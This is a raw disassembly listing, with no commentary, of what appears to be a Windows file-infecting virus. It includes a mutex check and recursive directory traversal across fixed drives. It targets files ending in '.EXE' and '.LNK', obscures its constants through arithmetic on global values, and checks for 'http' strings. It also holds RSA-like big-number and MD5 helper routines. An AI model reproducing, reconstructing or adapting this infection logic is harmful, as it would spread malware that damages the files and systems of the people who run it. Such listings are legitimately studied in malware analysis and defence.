		cmp	ds:dword_44761C, eax
		jb	short loc_4436DB
		mov	eax, dword_44B1B8
		add	eax, 2
		add	eax, dword_44B0EC
		mov	ds:dword_44761C, eax
		push	[ebp+var_4]
		call	sub_43C154
		pop	ecx
		jmp	loc_44376C
; ---------------------------------------------------------------------------


loc_4436DB:				; CODE XREF: sub_443589+12Fj
		mov	eax, dword_44B18C
		dec	eax
		mov	[ebp+var_4C], eax
		lea	eax, [ebp+var_44]
		push	eax
		push	ds:dword_44963C
		call	sub_43ACC9
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_40]
		push	eax
		push	ds:dword_445018
		call	sub_43ACC9
		add	esp, 10h
		mov	[ebp+var_38], eax
		cmp	[ebp+var_44], 0
		jz	short loc_44372C
		cmp	[ebp+var_34], 0
		jz	short loc_44372C
		lea	eax, [ebp+var_4C]
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_44]
		push	[ebp+var_34]
		call	sub_43E5D5
		add	esp, 10h


loc_44372C:				; CODE XREF: sub_443589+186j
					; sub_443589+18Cj
		cmp	[ebp+var_40], 0
		jz	short loc_44374D
		cmp	[ebp+var_38], 0
		jz	short loc_44374D
		lea	eax, [ebp+var_4C]
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_40]
		push	[ebp+var_38]
		call	sub_43E5D5
		add	esp, 10h


loc_44374D:				; CODE XREF: sub_443589+1A7j
					; sub_443589+1ADj
		push	[ebp+var_34]
		call	ds:dword_447618	; LocalFree
		push	[ebp+var_38]
		call	ds:dword_447618	; LocalFree
		push	0
		push	[ebp+arg_4]
		call	sub_43B780
		add	esp, 8


loc_44376C:				; CODE XREF: sub_443589+14Dj
		mov	eax, [ebp+var_4]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_443775:				; CODE XREF: sub_443589+115j
		mov	eax, [ebp+var_1C]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_44377E:				; CODE XREF: sub_443589+EDj
		mov	eax, [ebp+var_3C]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_443787:				; CODE XREF: sub_443589+9Fj
		mov	eax, [ebp+var_8]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_443790:				; CODE XREF: sub_443589+6Fj
		lea	eax, [ebp+var_18]
		push	eax
		call	ds:dword_44ABA0
		mov	eax, dword_44B0D4
		add	eax, dword_44B10C
		sub	eax, 8
		cmp	ebx, eax
		jz	short $+2


loc_4437AC:				; CODE XREF: sub_443589+1Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_443589	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4437B1	proc near		; CODE XREF: sub_440946+273p
					; sub_442C0A:loc_442C3Ep

var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_FF		= byte ptr -0FFh

		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		push	ebx
		push	esi
		push	edi
		mov	eax, dword_44B0AC
		mov	edi, eax
		add	edi, dword_44B174
		sub	edi, 0Bh
		jmp	loc_443855
; ---------------------------------------------------------------------------


loc_4437D2:				; CODE XREF: sub_4437B1+AEj
		push	offset dword_44B788
		call	sub_4424C1
		mov	[ebp+var_108], eax
		push	offset word_44B77E
		call	sub_4424C1
		mov	esi, dword_44B124
		movsx	ebx, word_44B0E8
		add	esi, ebx
		sub	esi, 5
		push	esi
		push	eax
		mov	esi, [ebp+var_108]
		push	esi
		lea	esi, [ebp+var_FF]
		push	esi
		call	ds:dword_44A634
		add	esp, 18h
		lea	eax, [ebp+var_FF]
		push	eax
		push	0
		push	1F0001h
		call	ds:dword_449644	; OpenMutexA
		mov	[ebp+var_104], eax
		or	eax, eax
		jz	short loc_443854
		push	eax
		call	ds:dword_449650	; CloseHandle
		mov	eax, dword_44B0FC
		sub	eax, 6
		cmp	edi, eax
		jnz	short loc_44384D
		xor	eax, eax
		inc	eax
		jmp	short loc_443867
; ---------------------------------------------------------------------------


loc_44384D:				; CODE XREF: sub_4437B1+95j
		mov	eax, 2
		jmp	short loc_443867
; ---------------------------------------------------------------------------


loc_443854:				; CODE XREF: sub_4437B1+82j
		inc	edi


loc_443855:				; CODE XREF: sub_4437B1+1Cj
		mov	eax, dword_44B164
		add	eax, 64h
		cmp	edi, eax
		jb	loc_4437D2
		xor	eax, eax


loc_443867:				; CODE XREF: sub_4437B1+9Aj
					; sub_4437B1+A1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4437B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44386C	proc near		; DATA XREF: .data:off_44B2D8o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_8]
		push	offset dword_44C96C
		push	esi
		call	ds:dword_44A644
		or	eax, eax
		jz	short loc_443898
		mov	eax, [ebp+arg_0]
		mov	[edi], eax
		push	dword ptr [edi]
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		xor	eax, eax
		jmp	short loc_4438E0
; ---------------------------------------------------------------------------


loc_443898:				; CODE XREF: sub_44386C+1Aj
		push	offset dword_44C8EC
		push	esi
		call	ds:dword_44A644
		or	eax, eax
		jz	short loc_4438B8
		mov	eax, [ebp+arg_0]
		mov	[edi], eax
		push	dword ptr [edi]
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		xor	eax, eax
		jmp	short loc_4438E0
; ---------------------------------------------------------------------------


loc_4438B8:				; CODE XREF: sub_44386C+3Aj
		push	offset dword_44C8AC
		push	esi
		call	ds:dword_44A644
		or	eax, eax
		jz	short loc_4438D8
		mov	eax, [ebp+arg_0]
		mov	[edi], eax
		push	dword ptr [edi]
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		xor	eax, eax
		jmp	short loc_4438E0
; ---------------------------------------------------------------------------


loc_4438D8:				; CODE XREF: sub_44386C+5Aj
		and	dword ptr [edi], 0
		mov	eax, 80004002h


loc_4438E0:				; CODE XREF: sub_44386C+2Aj
					; sub_44386C+4Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_44386C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4438E7	proc near		; CODE XREF: sub_43B4C6+3Ep
					; sub_43BE25+50p ...

var_252		= byte ptr -252h
var_248		= dword	ptr -248h
var_242		= byte ptr -242h
var_13E		= byte ptr -13Eh
var_112		= byte ptr -112h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 254h
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		cmp	[ebp+arg_8], 0
		jz	short loc_443914
		movsx	eax, word_44B0BC
		add	eax, dword_44B18C
		sub	eax, 0Ah
		mov	[ebp+var_248], eax
		jmp	short loc_44398C
; ---------------------------------------------------------------------------


loc_443914:				; CODE XREF: sub_4438E7+13j
		mov	edx, [ebp+arg_4]
		mov	ecx, dword_44B1B0
		cmp	ds:dword_447630[edx*4],	ecx
		jnz	short loc_44393C
		push	ebx
		call	ds:dword_447608	; FindClose
		mov	eax, dword_44B0A8
		sub	eax, 2
		push	eax
		call	ds:dword_44A660	; ExitThread


loc_44393C:				; CODE XREF: sub_4438E7+3Dj
		mov	eax, dword_44B0F8
		add	eax, 62h
		mov	[ebp+var_248], eax
		push	offset word_44B776
		call	sub_4424C1
		push	[ebp+arg_4]
		push	eax
		lea	edx, [ebp+var_252]
		push	edx
		call	ds:dword_44A634
		add	esp, 10h
		lea	eax, [ebp+var_252]
		push	eax
		call	ds:dword_44A664	; GetDriveTypeA
		cmp	eax, 3
		jnz	short loc_44398C
		movsx	eax, word_44B148
		add	eax, 129h
		mov	[ebp+var_248], eax


loc_44398C:				; CODE XREF: sub_4438E7+2Bj
					; sub_4438E7+91j
		xor	edi, edi
		inc	edi
		push	offset byte_44B76F
		call	sub_4424C1
		push	esi
		push	eax
		lea	edx, [ebp+var_242]
		push	edx
		call	ds:dword_44A634
		add	esp, 10h
		mov	ecx, esi
		or	eax, 0FFFFFFFFh


loc_4439B0:				; CODE XREF: sub_4438E7+CEj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_4439B0
		mov	edx, eax
		movsx	ecx, word_44B0E8
		movsx	eax, word_44B1A8
		add	ecx, eax
		sub	edx, ecx
		cmp	byte ptr [esi+edx], 2Eh
		jnz	loc_443A68
		lea	ecx, [esi]
		or	eax, 0FFFFFFFFh


loc_4439DA:				; CODE XREF: sub_4438E7+F8j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_4439DA
		mov	ecx, dword_44B1B8
		add	ecx, 1
		mov	edx, eax
		sub	edx, ecx
		movsx	edx, byte ptr [esi+edx]
		push	edx
		call	ds:dword_445030
		add	esp, 4
		cmp	eax, 4Ch
		jnz	short loc_443A68
		lea	ecx, [esi]
		or	eax, 0FFFFFFFFh


loc_443A06:				; CODE XREF: sub_4438E7+124j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_443A06
		mov	ecx, dword_44B118
		add	ecx, 2
		mov	edx, eax
		sub	edx, ecx
		movsx	edx, byte ptr [esi+edx]
		push	edx
		call	ds:dword_445030
		add	esp, 4
		cmp	eax, 4Eh
		jnz	short loc_443A68
		lea	ecx, [esi]
		or	eax, 0FFFFFFFFh


loc_443A32:				; CODE XREF: sub_4438E7+150j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_443A32
		mov	ecx, dword_44B144
		add	ecx, dword_44B0CC
		sub	ecx, 4
		mov	edx, eax
		sub	edx, ecx
		movsx	edx, byte ptr [esi+edx]
		push	edx
		call	ds:dword_445030
		add	esp, 4
		cmp	eax, 4Bh
		jnz	short loc_443A68
		push	esi
		call	sub_43DEF2
		add	esp, 4


loc_443A68:				; CODE XREF: sub_4438E7+E8j
					; sub_4438E7+118j ...
		mov	ecx, esi
		or	eax, 0FFFFFFFFh


loc_443A6D:				; CODE XREF: sub_4438E7+18Bj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_443A6D
		mov	edx, eax
		movsx	ecx, word_44B1A8
		movsx	eax, word_44B154
		add	ecx, eax
		sub	ecx, 3
		sub	edx, ecx
		cmp	byte ptr [esi+edx], 2Eh
		jnz	loc_443B2A
		lea	ecx, [esi]
		or	eax, 0FFFFFFFFh


loc_443A9A:				; CODE XREF: sub_4438E7+1B8j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_443A9A
		mov	ecx, dword_44B190
		add	ecx, 1
		mov	edx, eax
		sub	edx, ecx
		movsx	edx, byte ptr [esi+edx]
		push	edx
		call	ds:dword_445030
		add	esp, 4
		cmp	eax, 45h
		jnz	short loc_443B2A
		lea	ecx, [esi]
		or	eax, 0FFFFFFFFh


loc_443AC6:				; CODE XREF: sub_4438E7+1E4j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_443AC6
		mov	edx, eax
		sub	edx, dword_44B1C0
		movsx	edx, byte ptr [esi+edx]
		push	edx
		call	ds:dword_445030
		add	esp, 4
		cmp	eax, 58h
		jnz	short loc_443B2A
		lea	ecx, [esi]
		or	eax, 0FFFFFFFFh


loc_443AED:				; CODE XREF: sub_4438E7+20Bj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_443AED
		movsx	ecx, word_44B180
		add	ecx, dword_44B09C
		sub	ecx, 0Ch
		mov	edx, eax
		sub	edx, ecx
		movsx	edx, byte ptr [esi+edx]
		push	edx
		call	ds:dword_445030
		add	esp, 4
		cmp	eax, 45h
		jnz	short loc_443B2A
		push	[ebp+var_248]
		push	esi
		call	sub_442A46
		add	esp, 8


loc_443B2A:				; CODE XREF: sub_4438E7+1A8j
					; sub_4438E7+1D8j ...
		lea	eax, [ebp+var_13E]
		push	eax
		lea	eax, [ebp+var_242]
		push	eax
		call	ds:dword_448258	; FindFirstFileA
		mov	ebx, eax
		movsx	eax, word_44B0E0
		movsx	edx, word_44B154
		add	eax, edx
		sub	eax, 7
		neg	eax
		cmp	ebx, eax
		jz	loc_443C01
		cmp	[ebp+var_112], 2Eh
		jz	loc_443BFD
		lea	eax, [ebp+var_112]
		push	eax
		push	esi
		push	offset aSS_0	; "%s%s\\"
		lea	eax, [ebp+var_242]
		push	eax
		call	ds:dword_44A634
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		lea	eax, [ebp+var_242]
		push	eax
		call	sub_4438E7
		add	esp, 1Ch
		jmp	short loc_443BFD
; ---------------------------------------------------------------------------


loc_443B9B:				; CODE XREF: sub_4438E7+318j
		lea	eax, [ebp+var_13E]
		push	eax
		push	ebx
		call	ds:dword_446004	; FindNextFileA
		mov	edi, eax
		or	edi, edi
		jnz	short loc_443BC5
		push	[ebp+var_248]
		call	ds:dword_44A630
		pop	ecx
		push	ebx
		call	ds:dword_447608	; FindClose
		jmp	short loc_443C01
; ---------------------------------------------------------------------------


loc_443BC5:				; CODE XREF: sub_4438E7+2C6j
		cmp	[ebp+var_112], 2Eh
		jz	short loc_443BFD
		lea	eax, [ebp+var_112]
		push	eax
		push	esi
		push	offset aSS_0	; "%s%s\\"
		lea	eax, [ebp+var_242]
		push	eax
		call	ds:dword_44A634
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		lea	eax, [ebp+var_242]
		push	eax
		call	sub_4438E7
		add	esp, 1Ch


loc_443BFD:				; CODE XREF: sub_4438E7+27Dj
					; sub_4438E7+2B2j ...
		or	edi, edi
		jnz	short loc_443B9B


loc_443C01:				; CODE XREF: sub_4438E7+270j
					; sub_4438E7+2DCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4438E7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_443C06	proc near		; CODE XREF: sub_442E96+120p
					; DATA XREF: sub_43B52C+A9o

var_270		= byte ptr -270h
var_26C		= dword	ptr -26Ch
var_267		= byte ptr -267h
var_203		= byte ptr -203h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 270h
		push	esi
		push	edi
		push	104h
		lea	eax, [ebp+var_104]
		push	eax
		call	ds:dword_4475FC	; GetSystemDirectoryA
		lea	eax, [ebp+var_267]
		push	eax
		call	sub_43BFE5
		push	offset dword_44B764
		call	sub_4424C1
		push	eax
		lea	esi, [ebp+var_104]
		push	esi
		call	ds:dword_445020
		lea	eax, [ebp+var_267]
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		call	ds:dword_445020
		push	offset dword_44B75C
		call	sub_4424C1
		push	eax
		lea	esi, [ebp+var_104]
		push	esi
		call	ds:dword_445020
		add	esp, 24h
		push	0
		mov	eax, dword_44B174
		movsx	edx, word_44B090
		add	eax, edx
		sub	eax, 0Ah
		push	eax
		push	3
		push	0
		movsx	eax, word_44B0D0
		push	eax
		push	80000000h
		lea	eax, [ebp+var_104]
		push	eax
		call	ds:dword_44A788	; CreateFileA
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_443CB6
		mov	eax, 2Ah
		jmp	short loc_443D1F
; ---------------------------------------------------------------------------


loc_443CB6:				; CODE XREF: sub_443C06+A7j
		push	0
		lea	eax, [ebp+var_270]
		push	eax
		push	0FFh
		lea	eax, [ebp+var_203]
		push	eax
		push	edi
		call	ds:dword_445028	; ReadFile
		mov	[ebp+var_26C], eax
		push	edi
		call	ds:dword_449650	; CloseHandle
		mov	eax, dword_44B18C
		add	eax, dword_44B15C
		sub	eax, 5
		cmp	[ebp+var_26C], eax
		jnz	short loc_443CFC
		mov	eax, 2Ah
		jmp	short loc_443D1F
; ---------------------------------------------------------------------------


loc_443CFC:				; CODE XREF: sub_443C06+EDj
		movzx	eax, [ebp+var_203]
		movsx	edx, word_44B090
		add	edx, 20h
		cmp	eax, edx
		jge	short loc_443D18
		mov	eax, 2Ah
		jmp	short loc_443D1F
; ---------------------------------------------------------------------------


loc_443D18:				; CODE XREF: sub_443C06+109j
		movzx	eax, [ebp+var_203]


loc_443D1F:				; CODE XREF: sub_443C06+AEj
					; sub_443C06+F4j ...
		pop	edi
		pop	esi
		leave
		retn
sub_443C06	endp


; =============== S U B	R O U T	I N E =======================================



sub_443D23	proc near		; CODE XREF: sub_441FCC+270p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	ecx, esi
		movsx	eax, word_44B170
		dec	eax
		cmp	ecx, eax
		jge	short loc_443D61
		movsx	eax, word_44B180
		dec	eax
		imul	ecx, eax
		mov	eax, dword_44B178
		sub	eax, 2
		mov	edx, esi
		add	edx, eax
		movsx	eax, word_44B090
		add	eax, 3
		imul	edx, eax
		sub	ecx, edx
		jmp	loc_443E91
; ---------------------------------------------------------------------------


loc_443D61:				; CODE XREF: sub_443D23+11j
		dec	ecx
		movsx	eax, word_44B090
		mov	edx, dword_44B0F8
		lea	eax, [eax+edx+11h]
		cmp	ecx, eax
		jge	short loc_443D98
		mov	eax, dword_44B12C
		sub	eax, 3
		imul	ecx, eax
		mov	eax, ecx
		sub	eax, esi
		mov	edx, dword_44B104
		add	edx, 0Ah
		mov	ecx, eax
		sub	ecx, edx
		jmp	loc_443E91
; ---------------------------------------------------------------------------


loc_443D98:				; CODE XREF: sub_443D23+52j
		dec	ecx
		movsx	eax, word_44B110
		add	eax, 1Eh
		cmp	ecx, eax
		jge	short loc_443DCD
		mov	eax, dword_44B184
		add	eax, dword_44B130
		sub	eax, 3
		imul	ecx, eax
		mov	eax, dword_44B178
		add	eax, 3Ah
		add	eax, dword_44B144
		sub	ecx, eax
		jmp	loc_443E91
; ---------------------------------------------------------------------------


loc_443DCD:				; CODE XREF: sub_443D23+82j
		dec	ecx
		mov	eax, dword_44B120
		add	eax, 22h
		cmp	ecx, eax
		jge	short loc_443DF4
		mov	eax, dword_44B1C4
		sub	eax, 3
		imul	ecx, eax
		mov	eax, dword_44B0B8
		add	eax, 42h
		sub	ecx, eax
		jmp	loc_443E91
; ---------------------------------------------------------------------------


loc_443DF4:				; CODE XREF: sub_443D23+B5j
		dec	ecx
		mov	eax, dword_44B1C0
		add	eax, 24h
		movsx	edx, word_44B0E8
		add	eax, edx
		cmp	ecx, eax
		jge	short loc_443E28
		mov	eax, dword_44B1C0
		dec	eax
		imul	ecx, eax
		mov	eax, dword_44B0FC
		add	eax, 48h
		movsx	edx, word_44B0E8
		add	eax, edx
		sub	ecx, eax
		jmp	short loc_443E91
; ---------------------------------------------------------------------------


loc_443E28:				; CODE XREF: sub_443D23+E5j
		dec	ecx
		mov	eax, dword_44B178
		add	eax, 30h
		add	eax, dword_44B1B8
		cmp	ecx, eax
		jge	short loc_443E58
		mov	eax, dword_44B178
		add	eax, dword_44B164
		dec	eax
		imul	ecx, eax
		movsx	eax, word_44B0BC
		add	eax, 61h
		sub	ecx, eax
		jmp	short loc_443E91
; ---------------------------------------------------------------------------


loc_443E58:				; CODE XREF: sub_443D23+116j
		dec	ecx
		movsx	eax, word_44B16C
		lea	eax, [eax+eax+31h]
		cmp	ecx, eax
		jge	short loc_443E81
		mov	eax, dword_44B12C
		sub	eax, 3
		imul	ecx, eax
		movsx	eax, word_44B19C
		add	eax, 6Ah
		sub	ecx, eax
		jmp	short loc_443E91
; ---------------------------------------------------------------------------


loc_443E81:				; CODE XREF: sub_443D23+143j
		mov	eax, dword_44B12C
		add	eax, 30h
		add	eax, dword_44B0B8
		sub	ecx, eax


loc_443E91:				; CODE XREF: sub_443D23+39j
					; sub_443D23+70j ...
		mov	eax, ecx
		pop	esi
		retn
sub_443D23	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_443E95	proc near		; CODE XREF: sub_4425A3+40p

var_10034	= dword	ptr -10034h
var_10030	= byte ptr -10030h
var_1002C	= dword	ptr -1002Ch
var_10028	= dword	ptr -10028h
var_10024	= dword	ptr -10024h
var_10020	= byte ptr -10020h
var_10018	= dword	ptr -10018h
var_10010	= dword	ptr -10010h
var_1000C	= dword	ptr -1000Ch
var_10008	= dword	ptr -10008h
var_10003	= byte ptr -10003h
var_10002	= byte ptr -10002h
var_10001	= byte ptr -10001h
var_10000	= byte ptr -10000h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10034h
		call	sub_444B40
		push	ebx
		push	esi
		push	edi
		cmp	dword_44B2B0, 0
		jnz	short loc_443EC2
		mov	eax, dword_44B14C
		add	eax, 4
		cmp	ds:dword_44761C, eax
		jb	loc_4440F1


loc_443EC2:				; CODE XREF: sub_443E95+17j
		lea	eax, [ebp+var_10020]
		push	eax
		call	ds:dword_445038
		lea	eax, [ebp+var_10030]
		push	eax
		lea	eax, [ebp+var_10020]
		push	eax
		push	9
		mov	eax, dword_44B0F8
		sub	eax, 2
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_448254
		mov	edi, eax
		mov	eax, dword_44B190
		add	eax, dword_44B098
		sub	eax, 0Ah
		cmp	edi, eax
		jnz	loc_4440F1
		mov	esi, [ebp+var_10018]
		and	[ebp+var_1000C], 0
		lea	eax, [ebp+var_1000C]
		push	eax
		push	offset dword_44C97C
		push	esi
		mov	edx, [esi]
		call	dword ptr ds:0[edx]
		mov	edi, eax
		mov	eax, dword_44B1C0
		sub	eax, 3
		cmp	edi, eax
		jnz	loc_4440F1
		lea	eax, [ebp+var_10024]
		push	eax
		mov	eax, [ebp+var_1000C]
		push	eax
		mov	edx, [eax]
		call	dword ptr [edx+78h]
		mov	edi, eax
		cmp	edi, dword_44B1A4
		jnz	loc_4440EB
		lea	eax, [ebp+var_10003]
		push	eax
		push	[ebp+var_10024]
		call	sub_43A9C0
		add	esp, 8
		mov	edx, eax
		inc	edx
		mov	[ebp+var_10034], edx
		push	[ebp+var_10024]
		call	ds:dword_44ABA0
		cmp	[ebp+var_10003], 68h
		jnz	short loc_443FAD
		cmp	[ebp+var_10002], 74h
		jnz	short loc_443FAD
		cmp	[ebp+var_10001], 74h
		jnz	short loc_443FAD
		cmp	[ebp+var_10000], 70h
		jz	short loc_443FB2


loc_443FAD:				; CODE XREF: sub_443E95+FBj
					; sub_443E95+104j ...
		jmp	loc_4440EB
; ---------------------------------------------------------------------------


loc_443FB2:				; CODE XREF: sub_443E95+116j
		lea	eax, [ebp+var_10010]
		push	eax
		mov	eax, [ebp+var_1000C]
		push	eax
		mov	edx, [eax]
		call	dword ptr [edx+48h]
		mov	edi, eax
		mov	eax, dword_44B160
		add	eax, dword_44B158
		sub	eax, 8
		cmp	edi, eax
		jnz	loc_4440EB
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_44C8FC
		mov	eax, [ebp+var_10010]
		push	eax
		mov	edx, [eax]
		call	dword ptr ds:0[edx]
		mov	edi, eax
		mov	eax, dword_44B0B4
		sub	eax, 8
		cmp	edi, eax
		jnz	loc_4440DF
		lea	eax, [ebp+var_10008]
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		mov	edx, [eax]
		call	dword ptr [edx+1B0h]
		mov	edi, eax
		mov	eax, dword_44B0E4
		add	eax, dword_44B144
		sub	eax, 7
		cmp	edi, eax
		jnz	loc_4440D6
		lea	eax, [ebp+var_10028]
		push	eax
		mov	eax, [ebp+var_10008]
		push	eax
		mov	edx, [eax]
		call	dword ptr [edx+70h]
		mov	edi, eax
		movsx	eax, word_44B128
		add	eax, dword_44B0F8
		sub	eax, 2
		cmp	edi, eax
		jz	short loc_44406A
		mov	eax, [ebp+var_10008]
		push	eax
		mov	eax, [eax]
		call	dword ptr [eax+8]
		jmp	short loc_4440D6
; ---------------------------------------------------------------------------


loc_44406A:				; CODE XREF: sub_443E95+1C5j
		xor	ebx, ebx
		mov	eax, [ebp+var_10028]
		cmp	[ebp+var_10008], eax
		jz	short loc_44407D
		xor	ebx, ebx
		inc	ebx


loc_44407D:				; CODE XREF: sub_443E95+1E3j
		mov	eax, [ebp+var_10008]
		push	eax
		mov	eax, [eax]
		call	dword ptr [eax+8]
		mov	eax, [ebp+var_10028]
		push	eax
		mov	eax, [eax]
		call	dword ptr [eax+8]
		or	ebx, ebx
		jnz	short loc_4440D6
		lea	eax, [ebp+var_1002C]
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		mov	edx, [eax]
		call	dword ptr [edx+20h]
		mov	edi, eax
		mov	eax, dword_44B0A8
		sub	eax, 3
		cmp	edi, eax
		jnz	short loc_4440D6
		push	[ebp+var_1002C]
		push	[ebp+var_4]
		call	nullsub_2
		push	[ebp+var_1002C]
		push	[ebp+var_4]
		call	sub_443589
		add	esp, 10h


loc_4440D6:				; CODE XREF: sub_443E95+198j
					; sub_443E95+1D3j ...
		mov	eax, [ebp+var_4]
		push	eax
		mov	eax, [eax]
		call	dword ptr [eax+8]


loc_4440DF:				; CODE XREF: sub_443E95+16Dj
		mov	eax, [ebp+var_10010]
		push	eax
		mov	eax, [eax]
		call	dword ptr [eax+8]


loc_4440EB:				; CODE XREF: sub_443E95+C4j
					; sub_443E95:loc_443FADj ...
		push	esi
		mov	eax, [esi]
		call	dword ptr [eax+8]


loc_4440F1:				; CODE XREF: sub_443E95+27j
					; sub_443E95+6Ej ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_443E95	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4440F8	proc near		; CODE XREF: sub_43AF9B+13p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		pusha
		cld
		mov	edi, [ebp+arg_4]
		mov	eax, 1
		stosd
		mov	ecx, 0Fh
		dec	eax
		rep stosd
		lea	edi, dword_44C9CC
		mov	esi, [ebp+arg_0]
		mov	ecx, 10h
		rep movsd
		mov	edi, [ebp+arg_8]
		call	sub_4441C3
		xor	edx, edx


loc_444128:				; CODE XREF: sub_4440F8+52j
		push	edx
		push	ebx
		mov	eax, [ebp+arg_8]
		bt	[eax], edx
		jnb	short loc_44413A
		mov	edx, [ebp+arg_4]
		call	sub_444154


loc_44413A:				; CODE XREF: sub_4440F8+38j
		lea	edx, dword_44C9CC
		call	sub_444154
		pop	ebx
		pop	edx
		inc	edx
		cmp	edx, ebx
		jbe	short loc_444128
		popa
		pop	ebp
		retn	10h
sub_4440F8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_444154	proc near		; CODE XREF: sub_4440F8+3Dp
					; sub_4440F8+48p
		lea	edi, dword_44C98C
		mov	ecx, 10h
		xor	eax, eax
		rep stosd
		lea	edi, dword_44C9CC
		call	sub_4441C3


loc_44416E:				; CODE XREF: sub_444154+5Dj
		lea	edi, dword_44C98C
		mov	ecx, 10h
		xor	eax, eax


loc_44417B:				; CODE XREF: sub_444154+2Cj
		rcl	dword ptr [edi], 1
		lea	edi, [edi+4]
		loop	loc_44417B
		call	sub_4441D4
		bt	dword_44C9CC, ebx
		jnb	short loc_4441B0
		mov	esi, edx
		lea	edi, dword_44C98C
		xor	eax, eax
		mov	ecx, 10h


loc_44419F:				; CODE XREF: sub_444154+55j
		mov	eax, [esi]
		adc	[edi], eax
		lea	esi, [esi+4]
		lea	edi, [edi+4]
		loop	loc_44419F
		call	sub_4441D4


loc_4441B0:				; CODE XREF: sub_444154+3Aj
		dec	ebx
		jns	short loc_44416E
		mov	edi, edx
		lea	esi, dword_44C98C
		mov	ecx, 10h
		rep movsd
		retn
sub_444154	endp


; =============== S U B	R O U T	I N E =======================================



sub_4441C3	proc near		; CODE XREF: sub_4440F8+29p
					; sub_444154+15p
		mov	ebx, 1FFh


loc_4441C8:				; CODE XREF: sub_4441C3+Bj
		bt	[edi], ebx
		jb	short locret_4441D0
		dec	ebx
		jnz	short loc_4441C8

locret_4441D0:				; CODE XREF: sub_4441C3+8j
		retn
sub_4441C3	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4441D4	proc near		; CODE XREF: sub_444154+2Ep
					; sub_444154+57p
		lea	esi, dword_44C98C
		mov	edi, [ebp+14h]
		mov	ecx, 0Fh


loc_4441E2:				; CODE XREF: sub_4441D4+19j
		mov	eax, [esi+ecx*4]
		cmp	eax, [edi+ecx*4]
		jb	short locret_44420B
		ja	short loc_4441EF
		dec	ecx
		jns	short loc_4441E2


loc_4441EF:				; CODE XREF: sub_4441D4+16j
		mov	esi, [ebp+14h]
		lea	edi, dword_44C98C
		xor	eax, eax
		mov	ecx, 10h


loc_4441FF:				; CODE XREF: sub_4441D4+35j
		mov	eax, [esi]
		sbb	[edi], eax
		lea	esi, [esi+4]
		lea	edi, [edi+4]
		loop	loc_4441FF

locret_44420B:				; CODE XREF: sub_4441D4+14j
		retn
sub_4441D4	endp


; =============== S U B	R O U T	I N E =======================================



sub_44420C	proc near		; CODE XREF: sub_44425D+32p
					; sub_44425D+50p ...
		mov	eax, ebx
		and	eax, ecx
		push	ebx
		not	ebx
		and	ebx, edx
		or	eax, ebx
		pop	ebx
		retn
sub_44420C	endp


; =============== S U B	R O U T	I N E =======================================



sub_444219	proc near		; CODE XREF: sub_44425D+219p
					; sub_44425D+238p ...
		mov	eax, ebx
		and	eax, edx
		push	edx
		not	edx
		and	edx, ecx
		or	eax, edx
		pop	edx
		retn
sub_444219	endp


; =============== S U B	R O U T	I N E =======================================



sub_444226	proc near		; CODE XREF: sub_44425D+420p
					; sub_44425D+43Fp ...
		mov	eax, ebx
		xor	eax, ecx
		xor	eax, edx
		retn
sub_444226	endp


